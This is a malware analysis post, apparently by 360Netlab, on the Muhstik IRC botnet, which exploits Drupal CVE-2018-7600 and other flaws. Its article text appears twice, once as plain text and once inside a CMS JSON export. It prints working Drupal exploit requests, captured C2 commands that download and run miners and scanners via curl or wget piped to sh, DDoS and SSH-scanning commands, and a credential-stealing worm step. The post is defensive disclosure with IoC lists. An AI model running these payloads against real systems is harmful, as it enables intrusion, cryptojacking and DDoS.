:TIMERS!tcl@localhost PRIVMSG #muhstik :!M|* SH /tmp/aiomips amazon > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik :!M|* SH /tmp/aiomips dedi > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik :!M|* SH (wget -c http://191.238.234.227/x/aiomips -O /tmp/aiomips ; chmod +x /tmp/aiomips) > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik :!PPC|* SH /tmp/aioppc amazon > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik :!PPC|* SH /tmp/aioppc dedi > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik :!PPC|* SH (wget -c http://191.238.234.227/x/aioppc -O /tmp/aioppc ; chmod +x /tmp/aioppc) > /dev/null 2>&1 &



#muhstik # DDoS attack command


:m!m@null PRIVMSG #muhstik :!* STD 46.243.189.102 127 60 XXXXXXXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*0|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*1|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*2|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*3|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*4|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*5|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*6|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*7|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*8|* STD 46.243.189.102 127 30 XXXX
:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*9|* STD 46.243.189.102 127 30 XXXX



#muhstik-SSH # update cgminer miner configurations


:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep D3 && ( wget -qO - http://51.254.221.129/cgminer.x11.conf > /config/cgminer.conf && /etc/init.d/cgminer.sh restart ) > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep L3 && ( wget -qO - http://51.254.221.129/cgminer.scrypt.conf > /config/cgminer.conf && /etc/init.d/cgminer.sh restart )> /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep S4 && (cgminer-api "addpool|stratum+tcp://bch.viabtc.com:443,reborn.api,x" && cgminer-api "switchpool|3" ) > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep S5 && (cgminer-api "addpool|stratum+tcp://bch.viabtc.com:443,reborn.api,x" && cgminer-api "switchpool|3" ) > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep S7 && ( wget -qO - http://51.254.221.129/cgminer.sha256.conf > /config/cgminer.conf && /etc/init.d/cgminer.sh restart) > /dev/null 2>&1 &



#muhstik-SSH # stealing local ssh credentials, further horizontal expansion, delivering itself. Worm propagation


:m!m@null PRIVMSG #muhstik-ssh :!* SH wget -qO - http://121.127.216.91/multiply/wp-content/plugins/all-in-one-wp-migration/t6ssh | sh > /dev/null 2>&1 &



#muhstik-SSH #perform SSH scanning


:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 100 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 101 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 102 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 103 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 104 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 106 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 107 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 108 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 110 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 111 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 112 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 113 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 114 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 118 100 25 54.39.23.28 51.254.219.137
:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 119 100 25 54.39.23.28 51.254.219.137



#muhstik-i586 # implant muhstik.aioscan scan module


:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!i* SH (wget -c http://191.238.234.227/x/aioi586 -O /tmp/aioi586 ; chmod +x /tmp/aioi586) > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!i* SH /tmp/aioi586 amazon > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!i* SH /tmp/aioi586 dedi > /dev/null 2>&1 &



#muhstik-i586 #implant xmrig32 miner program


:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!* SH wget -qO - http://104.236.26.43/xmrt32.sh | sh > /dev/null 2>&1 &
:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!* SH curl http://104.236.26.43/xmrt32.sh | sh > /dev/null 2>&1 &



Muhstik May Has a Long History


When tracing back, we found the following domain names are related to muhstik. These domain names has a longer history back to 2016.


dasan.deutschland-zahlung.eu
134.ip-51-254-219.eu
uranus.kei.su
wireless.kei.su
www.kei.su
y.fd6fq54s6df541q23sdxfg.eu



We will continue to monitor this activity, if readers have new discoveries, feel free to contact us on our twitter.


IoC


Muhstik C2 List


139.99.101.96:9090	AS16276 OVH SAS	
144.217.84.99:9090	AS16276 OVH SAS	
145.239.84.0:9090	AS16276 OVH SAS	
147.135.210.184:9090	AS16276 OVH SAS	
142.44.163.168:9090	AS16276 OVH SAS	
192.99.71.250:9090	AS16276 OVH SAS	
142.44.240.14:9090	AS16276 OVH SAS	
121.128.171.44:9090	AS4766 Korea Telecom	#Not active now
66.70.190.236:9090	AS16276 OVH SAS	        #Not active now
145.239.93.125:9090	AS16276 OVH SAS	
irc.de-zahlung.eu:9090		                #Not active now



Muhstik Malware URL


hxxp://51.254.221.129/c/cron
hxxp://51.254.221.129/c/tfti
hxxp://51.254.221.129/c/pftp
hxxp://51.254.221.129/c/ntpd
hxxp://51.254.221.129/c/sshd
hxxp://51.254.221.129/c/bash
hxxp://51.254.221.129/c/pty
hxxp://51.254.221.129/c/shy
hxxp://51.254.221.129/c/nsshtfti
hxxp://51.254.221.129/c/nsshcron
hxxp://51.254.221.129/c/nsshpftp
hxxp://51.254.221.129/c/fbsd
hxxp://191.238.234.227/x/aiox86



Muhstik Self-built Mining Pool


47.135.208.145:4871



Muhstik Malware MD5


c37016e34304ff4a2a0db1894cdcdb92     #main sample
da17dc1438bb039968a5737c6fbc88cd     #scanning module


{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"On March 28, 2018, drupal released a patch for CVE-2018-7600. Drupal is an open-source content management system written in PHP, quite popular in many sites to provide web service. This vulnerability exists in multiple drupal versions, which may be exploited by an attacker to take full control of the target.\n\nStarting from April 13, 2018, 360Netlab observed a large number of scans on the internet against this vulnerability. At the first analysis, we believe that at least 3 groups of malware campaigns are exploiting. \n\nWe noticed one of them has worm-propagation behavior. After investigation, we believe this botnet has been active for quit a time. We name it muhstik, for this key word keeps popup in its binary file name and the communication IRC channel.\n\nMuhstik is worthy of community's attention for following characteristics:\n\n - Worm Propagation\n - Long standing\n - Use 7 exploits\n - Use xmrig, cgminer and DDoS for profit\n\n#### Attack Payload\n\nMuhstik uses the following two sets of attack payloads, which contributes around 80% of all the payloads we saw:\n\n - #1 : Active from 2018-04-14 03:33:06 to 2018-04-17 15:40:58\n - #2 : Active from 2018-04-16 19:38:39 till now\n\nThe source IP addresses delivering these payloads are very dispersed, with most of them hosting Drupal services. This is an indicator of worm, which arouses our vigilance.\n\nDetails of payload #1\n```\nPOST\n/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1\nCache-Control: no-cache\nConnection: keep-alive\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)\nHost: {target}\nContent-Type: application/x-www-form-urlencoded\nContent-length: 2048\nform_id=user_register_form&_drupal_ajax=1&mail[#post_render[]=exec&mail[#type]=markup&mail[#markup]=echo \"team6 representing 73de29021fd0d8d2cfd204d2d955a46d\"|tee t6nv\n```\n\nDetails of payload #2\n```\nPOST\n/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1\nCache-Control: no-cache\nConnection: keep-alive\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)\nHost: {target}\nContent-Type: application/x-www-form-urlencoded\nContent-length: 170\nform_id=user_register_form&_drupal_ajax=1&mail%5B%23post_render%5D%5B%5D=exec&mail%5B%23type%5D=markup&mail%5B%23markup%5D=wget%20http%3A%2F%2F51.254.219.134%2Fdrupal.php\n```\n\n#### Sample aiox86 Delivers Attack Payload #2\n\nHere is the key sample:\n```\nda17dc1438bb039968a5737c6fbc88cd aiox86\n```\n\nWe believe that the above two attack payloads are delivered by this sample and related ones:\n\n - attack payload #2 is embedded in aiox86, shown in the following figure\n - attack payload #1 is similar to #2, thus should be launched by other related samples\n\nBelow is part of the samples, same to payload #2.\n![](__GHOST_URL__/content/images/2018/04/drupal-payload-inside-aiox86.png)\n\nApart from drupal exploit, the aiox86 scanning module is quite complicated:\n\n - **Target IP**: Acquired from remote server 191.238.234.227. The attacker can control the scanning targets flexibly in this way\n - **Exploit payloads**: Contains 6 other exploit payloads apart from drupal\n - **Target Ports**: Scans TCP port 80, 8080, 7001, 2004, and tries varieties of different payloads on each port.\n - **Scan report**: Once successfully exploited, the payloads will report to 51.254.219.134. Different payloads will report to different URL, so the attacker can identify victims' vulnerabilities easily.\n\n\nAcquire scanning target IP:\n```\nhxxp://191.238.234.227/amazon.php     #We try to get 50 network cidr from this URL, all of them belongs to Amazon\nhxxp://191.238.234.227/dedi.php       #We try to get 50 network cidr from this URL, the owners company are dispersed\n```\n\nDelivered exploit payloads:\n```\nClipBucket：rss.php\nDasanNetwork Solution：/cgi-bin/index.cgi\nDrupal:CVE-2018-7600\nWebDav\nWeblogic:CVE-2017-10271\nWebuzo:install.php\nWordpress:install.php\n```\n\nMapping between target ports and exploit payloads:\n```\n80：Weblogic，Wordpress，Drupal，WebDav，ClipBucket\n2004：Webuzo\n7001：Weblogic\n8080：Wordpress，WebDav，DasanNetwork Solution\n```\n\nReporting URL:\n```\nhxxp://51.254.219.134/clipbucket.php\t#ClipBucket\nhxxp://51.254.219.134/dasan.php\t#DasanNetwork_Solution\nhxxp://51.254.219.134/dav.php\t#Webdav\nhxxp://51.254.219.134/drupal.php\t#Drupal\nhxxp://51.254.219.134/oracleaudit.php?port=\t#Weblogic\nhxxp://51.254.219.134/tomato.php\t#http401 for intermediate test\nhxxp://51.254.219.134/webuzo.php\t#Webuzo\nhxxp://51.254.219.134/wp.php\t#Wordpress\n```\n\n#### Sample aiox86 is Delivered by Muhstik Botnet\n\n360Netlab has been monitoring many botnets and tracking their attack commands.\nWe observe that Muhstik botnet C&C server 139.99.101.96:9090 launched commands to deliver aiox86 around 2018-04-19 04:04.\n\n![](__GHOST_URL__/content/images/2018/04/aiox86-released-by-139.99.101.96-a-muhstik-c2.png)\n\n#### Muhstik Botnet Family\n\nMuhstik is a variant of the Tsunami botnet. Its features include:\n\n - Representative sample: c37016e34304ff4a2a0db1894cdcdb92\n - C2 server: 11 domains/IPs, all using port 9090. Maybe load balanced\n - Communication protocol: Based on the IRC protocol, sending different instructions via different channels\n - IRC Channels: We observed multiple IRC Channels, all starting with \"muhstik\". At present, we can not confirm which specific channels are open on which C2 server. This is due to the characteristics of the IRC protocol itself. Only when we receive a communication instruction from the corresponding channel can we confirm its present.\n\nThe structure of the Muhstik botnet is quite complicated. As mentioned earlier, 11 C2 domains/IPs are hard-coded in the sample. In addition, it has many ways to propagate and monetize.\n\nMuhstik propagation modules:\n\n - aioscan scanning module: As mentioned above, the scanning module contains 7 scanning payloads on 4 ports\n - SSH scanning module: weak password scanning\n\nMuhstik monetization methods:\n\n - xmrig mining: Digging XMR cryptocurrency coins with a self-built mining pool 47.135.208.145:4871\n - cgminer minig: Digging BTC cryptocurrency coins, using multiple mining pools, all with username reb0rn.D3\n - DDoS attack: During 2018-04-19 07:20~07:40, we have intercepted multiple DDoS attack instructions targeting 46.243.189.102. (We did not see this attack on our DDoSMon.net, but we did see many earlier attacks against this IP)\n\nMuhstik cgminer wallet and mining pool address:\n```\n  {\n    \"url\": \"stratum+tcp://dash.viabtc.com:443\",\n    \"user\": \"reb0rn.D3\",\n    \"pass\": \"x\"\n  },\n  {\n    \"url\": \"stratum+tcp://dash.viabtc.com:443\",\n    \"user\": \"reb0rn.D3\",\n    \"pass\": \"x\"\n  },\n  {\n    \"url\": \"stratum+tcp://dash.viabtc.com:443\",\n    \"user\": \"reb0rn.D3\",\n    \"pass\": \"x\"\n  }\n```\n\nMuhstik C2 list, sample hard-code ordered\n```\n139.99.101.96:9090\tAS16276 OVH SAS\t\n144.217.84.99:9090\tAS16276 OVH SAS\t\n145.239.84.0:9090\tAS16276 OVH SAS\t\n147.135.210.184:9090\tAS16276 OVH SAS\t\n142.44.163.168:9090\tAS16276 OVH SAS\t\n192.99.71.250:9090\tAS16276 OVH SAS\t\n142.44.240.14:9090\tAS16276 OVH SAS\t\n121.128.171.44:9090\tAS4766 Korea Telecom\t#Not active now\n66.70.190.236:9090\tAS16276 OVH SAS\t        #Not active now\n145.239.93.125:9090\tAS16276 OVH SAS\t\nirc.de-zahlung.eu:9090\t\t                #Not active now\n```\n\nIRC Channel, alphabetical ordered\n```\n#muhstik\n#muhstik-i586\n#muhstik-SSH\n#muhstik-x86\n```\n\nA number of botnet instructions were captured when we monitoring these IRC Channels. We list part of them here, with details as follows:\n```\n#muhstik-x86  # implant xmrig64 miner program\n#muhstik-x86  # implant muhstik.aioscan scan module\n#muhstik-x86  # check if bot has drupal presence\n#muhstik      # implant muhstik.aioscan scan module\n#muhstik      # DDoS attack command\n#muhstik-SSH  # update cgminer miner configurations\n#muhstik-SSH  # perform SSH scanning\n#muhstik-SSH  # stealing local ssh credentials, further horizontal expansion, delivering itself. worm propagation\n#muhstik-i586 # implant muhstik.aioscan scan module\n#muhstik-i586 # implant xmrig32 miner program\n```\n\n\\#muhstik-x86 # implant xmrig64 miner program\n```\n:TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!* SH curl http://104.236.26.43/muhstik.sh | sh > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!* SH wget -qO - http://104.236.26.43/muhstik.sh | sh > /dev/null 2>&1 & \n```\n\n\\#muhstik-x86 # implant muhstik.aioscan scan module\n```\n:TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!x* SH (wget -c http://191.238.234.227/x/aiox86 -O /tmp/aiox86 ; chmod +x /tmp/aiox86) > /dev/null 2>&1 :TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!x* SH /tmp/aiox86 amazon > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!x* SH /tmp/aiox86 dedi > /dev/null 2>&1 &\n```\n\n\\#muhstik-x86 # check if bot has drupal present\n```\n:m!m@null PRIVMSG #muhstik-x86 :!* SH (wc -l autoload.php && echo $(hostname -I | cut -d\" \" -f 1))\n:m!m@null PRIVMSG #muhstik-x86 :!* SH (wc -l autoload.php && echo $(hostname -I | cut -d\" \" -f 1)) || echo \"No drupal\"\n:m!m@null PRIVMSG #muhstik-x86 :!* SH (wc -l autoload.php | grep 17 && echo $(hostname -I | cut -d\" \" -f 1))\n:m!m@null PRIVMSG #muhstik-x86 :(wc -l autoload.php && echo $(hostname -I | cut -d\" \" -f 1)) || echo \"No drupal\"\n```\n\n\\#muhstik # implant muhstik.aioscan scan module\n```\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!A* SH /tmp/aioarm amazon > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!A* SH /tmp/aioarm dedi > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!A* SH (wget -c http://191.238.234.227/x/aioarm -O /tmp/aioarm ; chmod +x /tmp/aioarm) > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!Mps|* SH /tmp/aiomipsel amazon > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!Mps|* SH /tmp/aiomipsel dedi > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!Mps|* SH (wget -c http://191.238.234.227/x/aiomipsel -O /tmp/aiomipsel ; chmod +x /tmp/aiomipsel) > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!M|* SH /tmp/aiomips amazon > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!M|* SH /tmp/aiomips dedi > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!M|* SH (wget -c http://191.238.234.227/x/aiomips -O /tmp/aiomips ; chmod +x /tmp/aiomips) > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!PPC|* SH /tmp/aioppc amazon > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!PPC|* SH /tmp/aioppc dedi > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!PPC|* SH (wget -c http://191.238.234.227/x/aioppc -O /tmp/aioppc ; chmod +x /tmp/aioppc) > /dev/null 2>&1 &\n```\n\n\\#muhstik # DDoS attack command\n```\n:m!m@null PRIVMSG #muhstik :!* STD 46.243.189.102 127 60 XXXXXXXXX\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*0|* STD 46.243.189.102 127 30 XXXX\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*1|* STD 46.243.189.102 127 30 XXXX\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*2|* STD 46.243.189.102 127 30 XXXX\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*3|* STD 46.243.189.102 127 30 XXXX\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*4|* STD 46.243.189.102 127 30 XXXX\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*5|* STD 46.243.189.102 127 30 XXXX\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*6|* STD 46.243.189.102 127 30 XXXX\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*7|* STD 46.243.189.102 127 30 XXXX\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*8|* STD 46.243.189.102 127 30 XXXX\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*9|* STD 46.243.189.102 127 30 XXXX\n```\n\n\\#muhstik-SSH # update cgminer miner configurations\n```\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep D3 && ( wget -qO - http://51.254.221.129/cgminer.x11.conf > /config/cgminer.conf && /etc/init.d/cgminer.sh restart ) > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep L3 && ( wget -qO - http://51.254.221.129/cgminer.scrypt.conf > /config/cgminer.conf && /etc/init.d/cgminer.sh restart )> /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep S4 && (cgminer-api \"addpool|stratum+tcp://bch.viabtc.com:443,reborn.api,x\" && cgminer-api \"switchpool|3\" ) > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep S5 && (cgminer-api \"addpool|stratum+tcp://bch.viabtc.com:443,reborn.api,x\" && cgminer-api \"switchpool|3\" ) > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep S7 && ( wget -qO - http://51.254.221.129/cgminer.sha256.conf > /config/cgminer.conf && /etc/init.d/cgminer.sh restart) > /dev/null 2>&1 &\n```\n\n\\#muhstik-SSH # stealing local ssh credentials, further horizontal expansion, delivering itself. Worm propagation\n```\n:m!m@null PRIVMSG #muhstik-ssh :!* SH wget -qO - http://121.127.216.91/multiply/wp-content/plugins/all-in-one-wp-migration/t6ssh | sh > /dev/null 2>&1 &\n```\n\n\n\n\\#muhstik-SSH #perform SSH scanning\n```\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 100 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 101 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 102 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 103 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 104 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 106 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 107 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 108 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 110 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 111 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 112 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 113 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 114 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 118 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 119 100 25 54.39.23.28 51.254.219.137\n```\n\n\\#muhstik-i586 # implant muhstik.aioscan scan module\n```\n:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!i* SH (wget -c http://191.238.234.227/x/aioi586 -O /tmp/aioi586 ; chmod +x /tmp/aioi586) > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!i* SH /tmp/aioi586 amazon > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!i* SH /tmp/aioi586 dedi > /dev/null 2>&1 &\n```\n\n\\#muhstik-i586 #implant xmrig32 miner program\n```\n:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!* SH wget -qO - http://104.236.26.43/xmrt32.sh | sh > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!* SH curl http://104.236.26.43/xmrt32.sh | sh > /dev/null 2>&1 &\n```\n\n#### Muhstik May Has a Long History\n\nWhen tracing back, we found the following domain names are related to muhstik. These domain names has a longer history back to 2016.\n```\ndasan.deutschland-zahlung.eu\n134.ip-51-254-219.eu\nuranus.kei.su\nwireless.kei.su\nwww.kei.su\ny.fd6fq54s6df541q23sdxfg.eu\n```\n\nWe will continue to monitor this activity, if readers have new discoveries, feel free to contact us on our [**twitter**](https://twitter.com/360Netlab).\n\n\n#### IoC\nMuhstik C2 List\n```\n139.99.101.96:9090\tAS16276 OVH SAS\t\n144.217.84.99:9090\tAS16276 OVH SAS\t\n145.239.84.0:9090\tAS16276 OVH SAS\t\n147.135.210.184:9090\tAS16276 OVH SAS\t\n142.44.163.168:9090\tAS16276 OVH SAS\t\n192.99.71.250:9090\tAS16276 OVH SAS\t\n142.44.240.14:9090\tAS16276 OVH SAS\t\n121.128.171.44:9090\tAS4766 Korea Telecom\t#Not active now\n66.70.190.236:9090\tAS16276 OVH SAS\t        #Not active now\n145.239.93.125:9090\tAS16276 OVH SAS\t\nirc.de-zahlung.eu:9090\t\t                #Not active now\n```\n\nMuhstik Malware URL\n```\nhxxp://51.254.221.129/c/cron\nhxxp://51.254.221.129/c/tfti\nhxxp://51.254.221.129/c/pftp\nhxxp://51.254.221.129/c/ntpd\nhxxp://51.254.221.129/c/sshd\nhxxp://51.254.221.129/c/bash\nhxxp://51.254.221.129/c/pty\nhxxp://51.254.221.129/c/shy\nhxxp://51.254.221.129/c/nsshtfti\nhxxp://51.254.221.129/c/nsshcron\nhxxp://51.254.221.129/c/nsshpftp\nhxxp://51.254.221.129/c/fbsd\nhxxp://191.238.234.227/x/aiox86\n```\n\nMuhstik Self-built Mining Pool\n```\n47.135.208.145:4871\n```\nMuhstik Malware MD5\n```\nc37016e34304ff4a2a0db1894cdcdb92     #main sample\nda17dc1438bb039968a5737c6fbc88cd     #scanning module\n```"}]],"sections":[[10,0]],"ghostVersion":"3.0"}